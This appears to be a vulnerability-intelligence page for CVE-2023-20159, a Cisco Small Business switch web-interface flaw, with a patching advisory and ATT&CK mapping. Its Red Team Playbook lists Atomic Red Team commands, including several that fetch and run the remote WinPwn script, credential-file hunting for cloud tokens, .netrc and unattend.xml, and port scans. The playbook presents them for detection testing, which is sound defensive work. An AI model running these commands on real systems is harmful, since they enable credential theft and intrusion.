CVE-2023-20159

CRITICAL Pub 18/05 Upd 28/10

Overview

The vulnerability arises from improper validation of HTTP requests processed by the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly sanitize or verify input parameters, leading to memory corruption issues within the affected firmware components. This flaw exists in the web management service handling incoming requests, enabling exploitation through crafted network packets targeting the device's management interface.

Vulnerability Description

Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.

Impact

An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction or credentials, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation allows execution of arbitrary code with root privileges or causes a denial of service, potentially disrupting network operations and enabling full device compromise. This can lead to loss of network availability, unauthorized control over switch functions, and facilitate lateral movement within the enterprise environment.

Solution

Cisco has released security updates for the affected Small Business Smart and Managed Switches as detailed in their advisory (https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware versions provided by Cisco for the business_250 series switches, as specified in the advisory. No workarounds are listed; therefore, timely patching is the recommended remediation step to address these vulnerabilities.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability affecting certain Cisco Small Business Series Switches arises from multiple flaws within the web-based user interface. These flaws stem from inadequate validation of requests sent to the interface, which can be exploited by an unauthenticated remote attacker. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk level. Attackers can leverage this weakness to initiate denial of service (DoS) conditions, effectively rendering the affected devices inoperable. Furthermore, the potential for executing arbitrary code with root privileges poses an even greater threat, as it allows attackers to gain full control over the device, leading to further exploitation of the network.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft malicious requests targeting the web interface, triggering the improper validation mechanisms. This could result in a DoS condition, disrupting network services for users relying on the affected switches. In a more severe scenario, the attacker could execute arbitrary code, which may allow them to manipulate network configurations, intercept data, or pivot to other devices within the network. Given the nature of these devices, which are often deployed in small to medium-sized business environments, the impact of such exploitation could be significant, affecting business operations and data integrity.

The real-world implications of this vulnerability extend beyond immediate operational disruptions. Businesses relying on these switches may face reputational damage, financial losses, and potential legal ramifications if sensitive data is compromised. The ability for an attacker to execute arbitrary code could lead to unauthorized access to critical systems, making it imperative for organizations to assess their risk exposure. Additionally, the potential for cascading failures within the network infrastructure could result in prolonged outages, further exacerbating the business risk.

To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating firmware on affected devices is crucial, as vendors often release patches to address known vulnerabilities. Network monitoring tools can help identify unusual traffic patterns or unauthorized access attempts, serving as an early warning system for potential exploitation. Additionally, employing firewalls and intrusion detection systems can provide an additional layer of defense, filtering out malicious requests before they reach the vulnerable web interface. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.

In conclusion, the vulnerabilities present in the web-based user interface of Cisco Small Business Series Switches represent a significant threat to network security. The potential for denial of service and arbitrary code execution highlights the need for organizations to prioritize security measures surrounding these devices. By adopting robust detection and mitigation strategies, businesses can safeguard their networks against exploitation and minimize the associated risks. The proactive management of vulnerabilities is essential in maintaining the integrity and availability of critical network infrastructure.

Affected Products (229)

Vendor Product Version CPE
cisco Cisco Business 250-16p-2g Firmware N/A cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-16t-2g Firmware N/A cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24fp-4g Firmware N/A cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24fp-4x Firmware N/A cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24p-4g Firmware N/A cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24p-4x Firmware N/A cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24pp-4g Firmware N/A cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24t-4g Firmware N/A cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-24t-4x Firmware N/A cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48p-4g Firmware N/A cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48p-4x Firmware N/A cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48pp-4g Firmware N/A cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48t-4g Firmware N/A cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-48t-4x Firmware N/A cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8fp-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8p-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8pp-D Firmware N/A cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8pp-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8t-D Firmware N/A cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
cisco Cisco Business 250-8t-E-2g Firmware N/A cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
+209 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Improper Input Validation
65% input_validation
OS Command Injection
62% command_injection
Remote Code Execution
47% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-44 Overflow Binary Resource File
50%
High Very High
CAPEC-14 Client-side Injection-induced Buffer Overflow
48%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
48%
High High
CAPEC-92 Forced Integer Overflow
47%
High High
CAPEC-100 Overflow Buffers
42%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-20159
sec.cloudapps.cisco.com
GitHub CVE vendor-advisory
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv